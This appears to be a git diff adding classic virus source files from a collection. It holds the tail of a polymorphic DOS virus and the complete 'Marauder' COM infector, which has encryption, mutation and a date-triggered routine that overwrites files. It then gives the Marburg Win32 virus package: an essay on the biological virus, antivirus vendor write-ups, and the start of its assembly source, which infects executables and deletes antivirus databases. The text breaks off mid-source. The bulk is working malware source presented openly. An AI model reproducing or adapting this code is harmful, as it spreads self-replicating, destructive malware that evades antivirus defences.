tbavfuck +notbav: + mov word ptr ds:[OldInt+2],es ; Save address to real INT + mov word ptr ds:[OldInt],bx ; in the JMP-string + +;****** Set new INT21h + + mov dx,offset NewVect ; Set New interruptvector + mov ax,2521h + int 21h + +installed: + pop ax ; Get PSP + pop si + sub si,106h + cmp word ptr cs:[si+IPoffs],100h ; Are we in a COM-file + je short RestoreComFile + +RestoreExeFile: + mov ds,ax ; Let ds contain PSP + mov es,ax ; Let es contain PSP + add ax,10h ; Get start of file + + add word ptr cs:[si+Real_CS],ax ; Add start seg to CS + add ax,word ptr cs:[si+Real_SS] + mov ss,ax ; Get programs SS + mov sp,word ptr cs:[si+Real_SP] ; Get programs SP + sub sp,2 ; Fix right value for SP + + push word ptr cs:[si+Real_CS] + push word ptr cs:[si+Real_IP] + xor ax,ax + xor bx,bx + xor cx,cx + xor dx,dx + mov si,ax + mov di,ax + mov bp,ax + retf + +RestoreComFile: + mov ax,cs + mov ds,ax + mov es,ax + + add si,offset buffer ; Restore real 3 first bytes + mov di,0100h + movsw + movsb + xor ax,ax + xor bx,bx + xor cx,cx + xor dx,dx + mov si,ax + mov di,ax + mov bp,ax + push 0100h + ret + +SimpleCryptEnd: + +StartDecryptSimple: + call GetIPLabel +GetIPLabel: + mov bp,sp + mov si,[bp] + sub si,GetIPLabel-SimpleCryptStart + mov cx, SimpleCryptEnd-SimpleCryptStart + Call DecryptSimple + pop ax + ret + +EncryptDecryptSimple: + mov si,offset SimpleCryptStart + mov cx, SimpleCryptEnd-SimpleCryptStart + call DecryptSimple + ret + +DecryptSimple: + db 02eh,080h,034h ; xor byte ptr cs:[si],? +DSRan db 0 + inc si + loop DecryptSimple + ret + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ Following code acts like a buffer in memory, and is not :+ +;+ included when the virus is written to a file. :+ +;+ (Normally known as the heap) :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +filecodeend: ; Label to calculate code_size, + ; and to use when jumping to copy + ; of EWD-routine + +ED_buf db ED_end-ED_start dup (?) ; space for copy of en EWD-routine + +File_H dw ? ; Filehandle + +; Space for the created decryptionroutine + +InitCX1 db ?,?,? ; mov cx,virsize+(0 to 7) +InitSI1 db ?,?,? ; mov si,offset start +CCode1 dd ?,?,?,?,?,?,?,? ; 1 to 15 decryptrows + dd ?,?,?,?,?,?,? + dd ?,? ; + loop statement + +; Space for the created encryptionroutine + +CCode2 dd ?,?,?,?,?,?,?,? ; 1 to 15 decryptrows + dd ?,?,?,?,?,?,? + dd ?,? + +EXE_Header: ; Structure +EXE_Sig dw ? ; MZ or ZM +EXE_Mod dw ? ; size - int(size/512) +EXE_Siz dw ? ; size/512 +EXE_Rel dw ? ; Relocation iems +EXE_SHe dw ? ; Size of header/16 +EXE_Min dw ? ; Min mem/16 +EXE_Max dw ? ; Max mem/16 +EXE_SS dw ? ; Stack Segement +EXE_SP dw ? ; Stack Pointer +EXE_CHK dw ? ; Checksum +EXE_IP dw ? ; Instruction Pointer +EXE_CS dw ? ; Code Segment +EXE_Win db ? ; 40h if Windows EXE + +VirStk: db 32 dup (?) ; Stack used by the virus (EXE only) + +code_end: + end start +;=============================================================================== diff --git a/m/MARAUDER.ASM b/m/MARAUDER.ASM new file mode 100755 index 0000000..9385ddf --- /dev/null +++ b/m/MARAUDER.ASM @@ -0,0 +1,610 @@ +; "Marauder" Virus +; AKA Deadpool-B +; +; By Hellraiser +; Of Phalcon/Skism +; +; For virus reseach only +; +; I always wanted to release this source, so here it is. Now that it's been caught +; take a look at whats inside. +; +; I know it's no great thing, but it's good to learn from. It contains basic +; encryption, mutation, and INT 24 handling. +; +; I will be very upset if I see 100 new versions of this code with some lame kids +; name in place of mine. So just use it to learn from, it's very straight foward. + + + +code segment 'code' +assume cs:code, ds:code, ss:code, es:code +org 0100h + +dta EQU endcode + 10 +headlength EQU headend - headstart +bodylength EQU bodyend - bodystart +encryptpart EQU bodyend - mixed_up +part1size EQU part2 - part1 +part2size EQU parta - part2 +partasize EQU partb - parta +partbsize EQU dude - partb +mutants EQU chris - part1 +total_mutant EQU mutants / 2 +encryptlength EQU encryptpart / 2 +virus_size EQU headlength + bodylength + 5 ; head + body + int24 + 2 +drive EQU endcode + 110 +backslash EQU endcode + 111 +orig_path EQU endcode + 113 +dirdta EQU orig_path + 66 +myid EQU 88h +toolarge EQU 65535 - virus_size +fileattr EQU 21 +filetime EQU 22 +filedate EQU 24 +filename EQU 30 + +headstart: + + jmp bodystart + db myid +headend: + +realprogramstart: + db 90h, 90h, 90h + db 0cdh, 020h, 1ah, 1ah +realprogramend: + +bodystart: + call deadpool +deadpool: + pop si + sub si,offset deadpool + call encrypt + jmp chris + +enc_code dw 0000h + +encrypt proc near +assume cs:code, ds:code, es:code, ss:code + +part1_: + push ax + push bx + push cx + push dx + mov cx, encryptlength + mov bp, si + add si, offset bodyend + mov di,si + std +xor_loop: + lodsw + xor ax, [bp + enc_code] + stosw + loop xor_loop +done_: + mov si, bp + pop dx + pop cx + pop bx + pop ax + + ret + ;nop + +encrypt endp + + +infect proc near + + call encrypt + int 21h + call encrypt + ret + +infect endp + + +mixed_up: + + + +part1: + push dx + push cx + push bx + push ax + mov cx, encryptlength + mov bp, si + add si, offset mixed_up + mov di,si + cld + +part2: + mov si, bp + pop ax + pop bx + pop cx + pop dx + + + +parta: + mov bp, si + add si, offset endcode + mov di, si + push ax + push bx + push cx + push dx + mov cx, encryptlength + std + +partb: + pop dx + pop cx + pop bx + pop ax + mov si, bp + + +dude: + +; don't get any ideas lamer + +hellraiser label byte +idbuffer db 0cdh, 20h,' [Marauder] 1992 Hellraiser - Phalcon/Skism. ' +stringsize EQU ($ - hellraiser) + +chris: + + push es + mov ax,3524h + int 21h + mov [si + word ptr oint24], bx + mov [si + word ptr oint24 + 2], es + pop es + + mov ax, 2524h + lea dx, [si + newint24] + int 21h + + push si + mov ah, 47h + xor dl,dl + add si, offset orig_path + int 21h + + pop si + mov ah,19h + int 21h + + add al, 41h + mov byte ptr [si + offset drive], al + + mov ax, '\:' + mov word ptr [si + offset backslash], ax + + ;mov byte ptr [si + offset defaultdrive], al + + +; here's my new tri-dimensional jmp displacement theory in play + + push si + pop bp + + lea si, [bp + offset oldjmp] + lea di, [bp + offset thisjmp] + mov cx,04h + cld + rep movsb + + push bp + pop si +why: + + mov ah,1ah + lea dx,[si + dta] + int 21h + + mov ah,2ah + int 21h + + cmp dx, 0202h + jne ff + jmp smash + +ff: + mov ah,4eh + lea dx,[si + filespec] + mov cx, 07h + +searchloop: + + int 21h + jnc here + ;jmp up + + + + mov ah,1ah + lea dx,[si + dirdta] + int 21h + + mov ah,3bh + lea dx,[si + offset rootdir] + int 21h + jc at_root + jmp why + +at_root: + cmp byte ptr [si + donebefore], 01h + je notokey + + mov al,01h + mov [si + donebefore], al + + mov ah,4eh + xor cx,cx + mov cl,13h + + + lea dx, [si + dwildcards] +ffdloop: + + int 21h + jnc okey + jmp far ptr nofilesfound + +notokey: + mov ah,4fh + jmp ffdloop + +okey: + mov ah,3bh + lea dx, [si + offset dirdta + filename] + int 21h + jc notokey + jmp why + + +here: + + mov bx, word ptr [si + offset dta + fileattr] + mov word ptr [si + origattr], bx + + mov ax,4301h + xor cx,cx + lea dx, [si + offset dta + filename] + int 21h + jc bad_file2 + + call openfile + jc bad_file2 + + mov word ptr [si + offset handle], ax + + mov bx, word ptr [si + offset dta + filedate] + mov word ptr [si + origdate], bx + mov bx, word ptr [si + offset dta + filetime] + mov word ptr [si + origtime], bx + + xchg bx, ax + + mov ah, 3fh + mov cx, 4 + lea dx, [si + oldjmp] + int 21h + + cmp byte ptr [si + offset oldjmp + 3], myid + jne sick_of_it_all + +bad_file: + mov ax,4301h + mov cx, word ptr [si + offset origattr] + lea dx, [si + offset dta + filename] + xor ch,ch + int 21h + + mov ah,3eh + int 21h + +bad_file2: + cmp ax, 05h + je dumb + cmp ax, 02h + je dumb + mov ah, 4fh + jmp searchloop +dumb: + jmp nofilesfound + +sick_of_it_all: + + cmp word ptr [si + offset oldjmp], 5a4dh + je bad_file + + call seekeof + + cmp ax,0010h + jb bad_file + cmp ax, toolarge + jae bad_file + + + sub ax,03h + mov [si + newjmp + 2], ah + mov [si + newjmp+ 1], al + mov [si + newjmp + 3], myid + mov ah, 0e9h + mov [si + newjmp], ah + + xor al,al + mov [si + donebefore], al + + inc word ptr [si + generation] + + mov bp, si + call enc_enc + +tryagain: + mov ah,2ch + int 21h + cmp dx, 0000h + je tryagain + mov word ptr [si + offset enc_code], dx + + + mov cl, 8 + ror dx, cl + mov word ptr [si + offset mutantcode], dx + + cmp dl, 30 + jng encrypt_a + jmp encrypt_b + + +encrypt_a: + ;mov bp, si + + lea si,[bp + offset part1] + lea di,[bp + offset part1_] + mov cx, part1size + call dostring + lea si,[bp + offset part2] + lea di,[bp + offset done_] + + mov cx, part2size + call dostring + + jmp attach + +encrypt_b: + + lea si,[bp + offset parta] + lea di,[bp + offset part1_] + mov cx, part1size + call dostring + + lea si,[bp + offset partb] + lea di,[bp + offset done_] + mov cx, part2size + call dostring + +attach: + call enc_enc + + mov si,bp + mov ah,40h + mov cx, bodyend - bodystart + add cx, 5 + lea dx,[si + bodystart] + call infect + jc close_file + + + call seektof + + mov ah,40h + mov cx, 4 + lea dx,[si + offset newjmp] + int 21h + +close_file: + + + mov ax,5701h + mov cx, word ptr [si + offset origtime] + mov dx, word ptr [si + offset origdate] + mov bx, word ptr [si + offset handle] + int 21h + + mov ah, 3eh + int 21h + + mov ax,4301h + mov cx, word ptr [si + offset origattr] + lea dx, [si + offset dta + filename] + xor ch,ch + int 21h + + +nofilesfound: + + mov ah, 03bh + lea dx, [si + offset drive] + int 21h + +restoredta: + mov ah, 1ah + mov dx, 080h + int 21h + + push si + pop bp + + mov ax, 2524h + lea dx, [si + oint24] + int 21h + + lea si,[bp + offset thisjmp] + mov di,100h + + mov cx,04h + cld + rep movsb + + mov di, 0100h + jmp di + +smash proc near + + call enc_enc + mov ah, 4eh + mov cx, 07h + lea dx, [si + offset dwildcards] ; + +r_loop: + int 21h + jc restoredta + + call kill + + mov ah, 4fh + jmp r_loop + +smash endp + +dostring proc near + + cld + rep movsb + ret + +dostring endp + + +enc_enc proc near + + mov si, bp + add si, offset part1 + mov di, si + mov cx, total_mutant + +loop_xor: + lodsw + xor ax, [bp + mutantcode] ; + stosw + loop loop_xor + + mov si, bp + ret + +enc_enc endp + +seektof proc near + + mov ax,4200h + xor cx,cx + xor dx,dx + int 21h + + ret + +seektof endp + + +seekeof proc near + + mov ax,4202h + xor dx,dx + xor cx,cx + int 21h + + ret + +seekeof endp + + +openfile proc near + + mov ax,3d02h + lea dx, [si + offset dta + filename] + int 21h + + ret + +openfile endp + +kill proc near + + call openfile + jc return + mov bx, ax + + push bx + + call seekeof + + mov bx, stringsize + div bx + mov cx, ax + pop bx + push cx + + call seektof + pop cx + + +loop_: + push cx + mov ah, 40h + mov cx, stringsize + lea dx, [si + offset idbuffer] + int 21h + jc ender + pop cx + dec cx + jcxz ender + jmp loop_ +ender: + + mov ah, 3eh + int 21h + +return: + ret + +kill endp + + +filespec db '*.COM',0 +dwildcards db '*.*',0 +rootdir db '..',0 +generation dw 0000 +origdate dw ? +origtime dw ? +origattr db ? +handle dw ? +defaultdrive db ? +oldjmp db 09h, 0cdh, 020h, 90h +thisjmp db 4 dup (?) +newjmp db 4 dup (?) +mutantcode dw 0000 +donebefore db 00 +oint24 dd 00 + +bodyend: + +; not encrypted + +newint24: + xor al,al + iret +endcode: + +code ends + end headstart + + diff --git a/m/MARBURG.ASM b/m/MARBURG.ASM new file mode 100755 index 0000000..cd31d06 --- /dev/null +++ b/m/MARBURG.ASM @@ -0,0 +1,3984 @@ + + Marburg virus - BioCoded by GriYo / 29A + --------------------------------------- + + + + + Index: + ------ + + 1 - About the biological version + 2 - Author's description + 3 - Description from Datafellows + 4 - Description from AVP + 5 - Description from DrSolomon + 6 - Marburg source code + + + + + 1 - About the biological version + -------------------------------- + + 1967: Marburg/Frankfurt, Germany. + + Laboratory workers preparing primary cell cultures from African +green monkeys resulted in an outbreak of a previously unrecognised disease. +Highly infectious: 31 cases, 7 deaths. + + 1976: + + Outbreak of a previously unrecognised haemorrhagic fever in Zaire +and Sudan 'Ebola disease': 500 diagnosed cases, 460 deaths. + + Ebola virus, a member of the Filoviridae, burst from obscurity with +spectacular outbreaks of severe, haemorrhagic fever. It was first +associated with an outbreak of 318 cases and a case-fatality rate of 90% +in Zaire and caused 150 deaths among 250 cases in Sudan. Smaller outbreaks +continue to appear periodically, particularly in East, Central and southern +Africa. In 1989, a haemorrhagic disease was recognized among cynomolgus +macaques imported into the United States from the Philippines. Strains of +Ebola virus were isolated from these monkeys. Serologic studies in the +Philippines and elsewhere in Southeast Asia indicated that Ebola virus is a +prevalent cause of infection among macaques. + +These threadlike polymorphic viruses are highly variable in length +apparently owing to concatemerization. However, the average length of an +infectious virion appears to be 920 nm. The virions are 80 nm in diameter +with a helical nucleocapsid, a membrane made of 10 nm projections, and +host cell membrane. They contain a unique single-stranded molecule of +noninfectious (negative sense) RNA. The virus is composed of 7 +polypeptides, a nucleoprotein, a glycoprotein, a polymerase and 4 other +undesignated proteins. Proteins are produced from polyadenylated +monocistronic mRNA species transcribed from virus RNA. The replication in +and destruction of the host cell is rapid and produces a large number of +viruses budding from the cell membrane. + +Epidemics have resulted from person to person transmission, nosocomial +spread or laboratory infections. The mode of primary infection and the +natural ecology of these viruses are unknown. Association with bats has +been implicated directly in at least 2 episodes when individuals entered +the same bat-filled cave in Eastern Kenya. Ebola infections in Sudan in +1976 and 1979 occurred in workers of a cotton factory containing thousands +of bats in the roof. However, in all instances, study of antibody in bats +failed to detect evidence of infection, and no virus was isolated from bat +tissue. + +The index case in 1976 was never identified, but this large outbreak +resulted in 280 deaths of 318 infections. The outbreak was primarily the +result of person to person spread and transmission by contaminated needles +in outpatient and inpatient departments of a hospital and subsequent +person to person spread in surrounding villages. In serosurveys in Zaire, +antibody prevalence to Ebola virus has been 3 to 7%. The incubation period +for needle-transmitted Ebola virus is 5 to 7 days and that for person to +person transmitted disease is 6 to 12 days. + +The virus spreads through the blood and is replicated in many organs. +The histopathologic change is focal necrosis in these organs, including +the liver, lymphatic organs, kidneys, ovaries and testes. The central +lesions appear to be those affecting the vascular endothelium and +the platelets. The resulting manifestations are bleeding, especially in +the mucosa, abdomen, pericardium and vagina. Capillary leakage appears to +lead to loss of intravascular volume, bleeding, shock and the acute +respiratory disorder seen in fatal cases. Patients die of intractable shock. +Those with severe illness often have sustained high fevers and are +delirious, combative and difficult to control. + +The serologic method used in the discovery of Ebola was the direct +immunofluorescent assay. The test is performed on a monolayer of infected +and uninfected cells fixed on a microscopic slide. IgG- or IgM-specific +immunoglobulin assays are performed. These tests may then be confirmed +by using western blot or radioimmunoprecipitation. Virus isolation is also +a highly useful diagnostic method, and is performed on suitably preserved +serum, blood or tissue specimens stored at -70oC or freshly collected. + +No specific antiviral therapy presently exists against Ebola virus, nor does +interferon have any effect. Past recommendations for isolation of the +patient in a plastic isolator have given way to the more moderate +recommendation of strict barrier isolation with body fluid precautions. +This presents no excess risk to the hospital personnel and allows +substantially better patient care, as shown in Table 2. The major factor in +nosocomial transmission is the combination of the unawareness of the +possibility of the disease by a worker who is also inattentive to the +requirements of effective barrier nursing. after diagnosis, the risk of +nosocomial transmission is small. + +The basic method of prevention and control is the interruption of person to +person spread of the virus. However, in rural areas, this may be difficult +because families are often reluctant to admit members to the hospital +because of limited resources and the culturally unacceptable separation +of sick or dying patients from the care of their family. Experience +with human disease and primate infection suggests that a vaccine inducing a +strong cell-mediated response will be necessary for virus clearance and +adequate protection. Neutralizing antibodies are not observed in +convalescent patients nor do they occur in primates inoculated with killed +vaccine. A vaccine expressing the glycoprotein in vaccinia is being +prepared for laboratory evaluation. + + Emerging & Re-emerging Viruses: An Essay + Alison Jacobson + Department of Microbiology + University of Cape Town + + + + + 2 - Author's description + ------------------------ + + Marburg is a direct action Win32 executable files infector. Lets +look at its features in more detail... + + 2.1. Infection + + When an infected file is run the virus will look for *.EXE and *.SCR +files in current directory, as well as WINDOWS and WINDOWS system +directories. Marburg use size padding to mark infected files. Depending on +the internal format of each file the virus sometimes infects them without +modifying the entry-point field in the file header. In some files Marburg +overwrites the code at its host entry-point with a block or polymorphic +code. This code is used to hide the branch to viral code. Marburg infects +files by mapping them in memory. This allows the virus to speed up its +infection procedures. + + 2.2. Polymorphism + + The virus is encrypted under a polymorphic decryptor. The +polymorphic engine uses slow mutation technics and can generate lots of +different looking code. + + 2.3. Retro + + Some intergrity checksum files deleted on infection. + + 2.4. Error-handling + + The virus startup and infection routines uses estructured exception +handling to prevent the virus from causing FAULTS at any time. This makes +Marburg a very stable virus. + + 2.5. Payload + + A nice graphic payload inside... I think this is a must for viruses +that works under GUI. + + + + + 3 - Description from Datafellows + -------------------------------- + + NAME: Marburg + TYPE: Non-resident EXE -files + + The Win95/Marburg virus got widespread circulation in August 1998, +when it was included on the master CD of the popular MGM/EA PC CD-ROM game +"Wargames". The CD contains one file infected by the Marburg virus: + + \EREG\EREG32.EXE + + MGM - the publisher of the game - made an announcment on this on +12th of August, 1998: + + + -------- + From: "K.Egan (MGM)" kegan@mgm.com + Subject: MGM WarGames Statement + Date: Wed, 12 Aug 1998 18:03:39 -0700 + + MGM Interactive recently learned that its WarGames PC game shipped + with the Win32/Marburg.a virus contained in the electronic + registration program. The company is working as fast as it can to + resolve the problem. + ... + MGM Interactive is committed to delivering top quality products to + consumers. This is an unfortunate circumstance and we sincerely + apologize for any convenience this has caused you. + ... + If you have any questions or if you would like to receive a + replacement disc, please contact MGM Interactive. + -------- + + +The same virus also got widespread circulation in August 1998, when it was +included on the cover CD of the Australian "PC Power Play" magazine. This CD +contains these files infected by the Marburg virus: + + \GAMES\MAX2\MAX2BETA.EXE + \GAMES\STARTREK\FURYDEMO.EXE + +In July 1998, the Win95/Marburg virus got yet again widespread circulation +when it was included by accident on the cover CD of the UK-based PC Gamer +Magazine's July 1998 edition. The infected files are on "CD Gamer 2" +included with the magazine, and are called: + + \UTILS\XEARTH\XEARTH.EXE + \UTILS\QPAINT\QPAINT.EXE + \VIDEO\SMACKPLW.EXE + +The SMACKPLW program is automatically executed if you watch any of the +preview videos from the CD. There are localized versions of the PC Gamer +magazine in circulation in addition to the UK edition. + +The Swedish edition has these files infected instead of the ones listed +above: + + \SHARE\3DJONG\M3DJONGG.EXE + \PATCHAR\QUAKE2\Q2-315~8.EXE + \SPEL\KKND2\DIRECTX\DDHELP.EXE + +The Slovenian edition has the same infected files as the UK edition. The +Italian July/August edition is clean. + +Marburg is a polymorphic Windows 95/98 virus which contains this text: + + [ Marburg ViRuS BioCoded by GriYo/29A ] + +Marburg infects Win32 EXE and SCR (screen saver) files, encrypting its own +code with variable polymorphic encryption layer. The polymorphic engine of +the virus is advanced. It encrypts the virus with 8, 16 and 32 bit key with +several different methods. The virus uses slow polymorphisism, which means +that it changes the decryptor of itself very slowly. + +Marburg deletes integrity databases of several anti-virus products. It also +avoids infecting many known anti-virus product executable files, including +any executable which has the letter "V" in its name. This is done to avoid +triggering the self-check of these programs. + +Marburg activates three months after initial infection. If an infected +application is executed exactly on the same hour as the inital infection, +the virus displays the standard Windows error icon (red cross in white +circle) in random positions all over the screen. + + + + + 4 - Description from AVP + ------------------------ + + This is a direct action (nonmemory resident) Windows95 polymorphic +virus. It affects PE EXE (Portable Executable) files which it searches in +current, Windows and System directories. Because of bugs the virus is not +able to replicate under Windows NT, so it is Windows95 specific virus. + +When an infected file is executed, the virus searches for KERNEL32 routines: +first for GetModuleHandleA and GetProcAddress, then for 22 more functions +(see the list below). While searching the virus uses method similar to +"Win32.Cabanas" virus: while infecting a file the virus scans file's +imported table for GetModuleHandleA and GetProcAddress, and saves these +addresses in virus code. If there are no these entries in table, the virus +scans KERNEL32 code. + +If the virus is not able to locate KERNEL32 functions, it immediately +returns to the host file. Otherwise it allocates a block of system memory, +copies its code to there (that's necessary to run virus polymorphic engine), +then searches for files and infects them. + +While infecting a file the virus writes its code to the end of file into the +last section, increasing its length beforehand. Before saving its code to +the file the virus encrypts it by polymorphic routine (the polymorphic +engine is very similar with one that was found in "Win95.HPS" virus). +Depending on file structure the virus also does some tricks to make virus +detection and disinfection procedures more complex: either replaces entry +point address in the PE header with its own one (majority of Win32 viruses +infect files in this way), or saves JMP_Virus instruction to the file entry +address and does not modifies it in the PE header (in same way as +"Win32.Cabanas" virus does), or writes to the entry point a polymorphic +junk routine that is followed by JMP_Virus instruction. + +Before infecting the virus deletes anti-virus data files: ANTI-VIR.DAT, +CHKLIST.MS, AVP.CRC, IVB.NTZ. While infecting the virus checks file names +and does not infect files that have 'V' letter in name as well as +anti-viruses PANDA, F-PROT, SCAN. + +Depending on the system date (when infected file is executed in three month +during the same hour as being infected) the virus displays at random +selected positions on the screen the standard Windows error icon - red cross +in white circle. + +The virus contains the text strings (the first block contains the list of +functions that virus is looking for): + + GetModuleHandleA + GetProcAddress + CreateFileA + CreateFileMappingA + MapViewOfFile + UnmapViewOfFile + CloseHandle + FindFirstFileA + FindNextFileA + FindClose + VirtualAlloc + GetWindowsDirectoryA + GetSystemDirectoryA + GetCurrentDirectoryA + SetFileAttributesA + SetFileTime + DeleteFileA + GetCurrentProcess + WriteProcessMemory + LoadLibraryA + GetSystemTime + GetDC + LoadIconA + DrawIcon + + [ Marburg ViRuS BioCoded by GriYo/29A ] + KERNEL32.dll USER32.dll + + + + + 5 - Description from DrSolomon + ------------------------------ + + Win32/Marburg + Polymorphic virus + Infects: Windows-95 executable files + (PE files - "Portable Executable") + + This highly polymorphic virus infects Windows-95 executable files +(PE files - "Portable Executable"). When the infected file is run it +searches for executable files to infect in the current directory, the +Windows directory and the System directory. The virus does not go +memory-resident - instead it is a direct action virus. The infected files +always grow in size. + +The sizes of infected files are changed by the the virus to be divisible by +101 (decimal). It does this to avoid infecting the same file twice. + +If the virus comes across integrity-checking databases (ANTI-VIR.DAT, +CHKLIST.MS, AVP.CRC, IVB.NTZ) in the above mentioned subdirectories it +deletes them. This is an attempt to avoid detection by certain anti-virus +products. + +The virus does not infect any files having letter "V" in the name, +"PAND*.*" , "F-PR*.*" , "SCAN*.*" (this is to avoid infecting certain +anti-virus programs). + +The payload of the virus triggers at a random date and displays an error +icon (a red cross on white circle) on the screen. + +Marburg has been seen in the wild, and was accidentally distributed on the +cover CD ROM of UK magazine PC Gamer in July 1998. The virus was written by +Griyo of the Spanish virus-writing gang 29A. + + + + + + 6 - Marburg source code + ----------------------- + + After some time lost into Win32 internals im happy to present my +first attempt at this plattaform. This is a Win95 highly polymorphic direct- +action PE infector. + +Greetings to all the people at IRC-Hispano #virus and #hack irc channels. +Special greetings goes this time to Jacky Qwerty, this virus wouldnt be +posible without his support. + +-------->8 cut here --------------------------------------------------------- + +; +; +; Marburg ViRuS - BioCoded by GriYo / 29A +; +; + + .386P + locals + jumps + .model flat,STDCALL + + ;Include the following files + + include Win32api.inc + include Useful.inc + include Mz.inc + include Pe.inc + + ;Some externals only used on 1st generation + + extrn GetModuleHandleA:NEAR + extrn GetProcAddress:NEAR + extrn ExitProcess:NEAR + + ;Some assumptions only valid for 1st generation + +mem_size equ mem_end-Mem_Base ;Size of virus in memory +inf_size equ inf_end-Mem_Base ;Size of virus in files +init_size equ init_end-Mem_Base ;Size of init code +base_default equ 00400000h ;Default base address + + ;Current in-build settings + +SIZE_PADDING equ 00000065h +DECRYPTOR_SIZE equ 00000800h +BUFFER_EP equ 00000100h + +; +;Fake host used for virus 1st generation +; + +_TEXT segment dword use32 public 'CODE' + +host_entry: ;This code will find the base address of KERNEL32.DLL and + ;the entry point for GetProcAddress and GetModuleHandle + ;functions + ;This part will not be included on future infections + ;coz its only needed for virus 1st generation + + ;Get KERNEL32 module handle + + push offset szKernel32 + call GetModuleHandleA + or eax,eax + jz exit1st_gen + mov dword ptr [a_Kernel32],eax + + ;Get address of GetModuleHandle function + + push offset szGetModuleH + push eax + call GetProcAddress + or eax,eax + jz exit1st_gen + mov dword ptr [a_GetModuleH],eax + + ;Get address of GetProcAddress function + + push offset szGetProcAddr + push dword ptr [a_Kernel32] + call GetProcAddress + or eax,eax + jz exit1st_gen + mov dword ptr [a_GetProcAddr],eax + + ;Execute virus + + mov ebx,base_default + xor ebp,ebp + call entry1st_gen + +exit1st_gen: ;Terminate virus launch process + + xor eax,eax + push eax + call ExitProcess + +_TEXT ends + +; + +_DATA segment dword use32 public 'DATA' +_DATA ends + +; + +_BSS segment dword use32 public 'BSS' +_BSS ends + +; +;Virus main body +; + +virseg segment dword use32 public 'Marburg' + +Mem_Base equ this byte + +virus_entry: ;Get delta offset and host base address + + call get_delta + +init_end equ this byte + +get_delta: pop ebp + mov ebx,ebp + sub ebp,offset get_delta + + ;Get host base address + ;Generate a SUB ebx,fix_baseaddr instruction + + db 81h,0EBh +fix_baseaddr dd 00000000h + + ;Prepare return address + + mov eax,ebx + + ;Generate ADD eax,rva_org_eip + + db 05h +rva_org_eip dd 00000000h + + ;Save host entry-point into stack, we will jump there + ;later using a RET + + push eax + +entry1st_gen: ;End of virus initialization, at this point: + ; + ; ss:[esp] - Host entry-point + ; ebx - Base address + ; ebp - Delta offset + ; + + ;Check if we know the GetModuleHandle entry point + ;If we dont know it try to get KERNEL32 base + ;address using our own code + + db 0B8h +rva_GetModuleH dd offset a_GetModuleH-base_default + or eax,eax + jz use_our_own_1 + + ;Yes, eax is the rva for the function address + + push dword ptr [eax+ebx] + pop dword ptr [ebp+a_GetModuleH] + + ;Now we know the address of GetModuleHandle, + ;so use it in order to get KERNEL32.dll + ;base address + ;If the function fails try to get KERNEL32 base + ;address using our own function + + lea eax,dword ptr [ebp+szKernel32] + push eax + + call dword ptr [ebp+a_GetModuleH] + or eax,eax + jnz got_kernel + +use_our_own_1: ;No, grrr, try to get it by ourself + + call my_getkernel + or eax,eax + jz err_virus_init + +got_kernel: ;Save KERNEL32 base address for l8r use + + mov dword ptr [ebp+a_Kernel32],eax + + ;Now check if we know the GetProcAddress entry point + + db 0B8h +rva_GetProcAddr dd offset a_GetProcAddr-base_default + or eax,eax + jz use_our_own_2 + + ;Yes, eax is the rva for the function address + + push dword ptr [eax+ebx] + pop eax + jmp short got_getprocaddr + +use_our_own_2: ;Use our own routine to get GetProcAddress entry point + + call my_GetProcAddr + +got_getprocaddr:;Save GetProcAddress entry point for l8r use + + mov dword ptr [ebp+a_GetProcAddr],eax + + ;Use GetProcAddress to get the rest of function addresses + + call get_functions + jecxz err_virus_init + + ;Allocate some memory for the virus + + push PAGE_EXECUTE_READWRITE + push MEM_RESERVE or MEM_COMMIT + push mem_size+inf_size + push 00000000h + call dword ptr [ebp+a_VirtualAlloc] + + ;Exit if cant find free memory... mmm... + + or eax,eax + jz err_virus_init + + ;Copy virus to allocated memory + + lea esi,dword ptr [ebp+Mem_Base] + mov edi,eax + mov ecx,mem_size + cld + rep movsb + + ;Jump to virus code into allocated memory + + add eax,mem_entry-Mem_Base + jmp eax + +; +;Entry point for resident code +; + +mem_entry: ;From this point we no longer care about host + ;base address + + call mem_delta +mem_delta: pop ebp + sub ebp,offset mem_delta + + ;Get current system time + + lea eax,dword ptr [ebp+my_system_time] + push eax + call dword ptr [ebp+a_GetSysTime] + + ;It's time to call our payload routine???? + + mov ax,word ptr [ebp+inf_month] + add ax,0003h + mov dx,000Ch + cmp ax,dx + jbe check_month + sub ax,dx +check_month: cmp ax,word ptr [ebp+time_month] + jne viral_sleep + mov ax,word ptr [ebp+inf_day] + cmp ax,word ptr [ebp+time_day] + jne viral_sleep + call payload + +viral_sleep: ;Do direct action stuff + ;The virus will infect files on \WINDOWS, \SYSTEM and + ;current directory + + ;Try to infect files in current directory + + lea eax,dword ptr [ebp+szWorkDir] + push eax + push MAX_PATH + call dword ptr [ebp+a_GetCurDir] + or eax,eax + jz try_windir + + call do_in_dir + +try_windir: ;Get windows directory + + push MAX_PATH + lea eax,dword ptr [ebp+szWorkDir] + push eax + call dword ptr [ebp+a_GetWindowsDir] + or eax,eax + jz try_sysdir + + ;Try to infect files in \WINDOWS directory + + call do_in_dir + +try_sysdir: ;Get system directory + + push MAX_PATH + lea eax,dword ptr [ebp+szWorkDir] + push eax + call dword ptr [ebp+a_GetSystemDir] + or eax,eax + jz err_virus_init + + ;Try to infect files in \SYSTEM directory + + call do_in_dir + +err_virus_init: ;We have to restore code at host entry-point? + + xor eax,eax + cmp dword ptr [ebp+insert_size],eax + je back2host + + ;Get current process + + call dword ptr [ebp+a_GetCurProc] + + ;Restore host entry-point code + ;Use WriteProcessMemory in order to prevent exceptions + ;while writing to protected areas + + pop edx + push edx + xor ecx,ecx + push ecx + push dword ptr [ebp+insert_size] + lea ecx,dword ptr [ebp+entry_code] + push ecx + push edx + push eax + call dword ptr [ebp+a_WriteProcMem] + +back2host: ;Back to host + + ret + +; +;Infect *.EXE and *.SCR files in specified path +; + +do_in_dir: ;The virus will not infect files in the root directory + ;directory + ; + ;Entry: + ; + ;eax - path string size + ; + ;Exit: + ; + ;None + ; + + ;Trying to infect files in root directory? + + cmp eax,00000004h + jb file_not_found + + ;Delete some AV checksum databases + + mov edx,eax + mov ecx,(end_AV_files-tbl_AV_files)/04h + lea esi,dword ptr [ebp+tbl_AV_files] +loop_del_AV: lodsd + push esi + add eax,ebp + mov esi,eax + call delete_file + pop esi + loop loop_del_AV + + ;Insert *.* into path + + lea esi,dword ptr [ebp+szSearch] + call copy_szMask + + 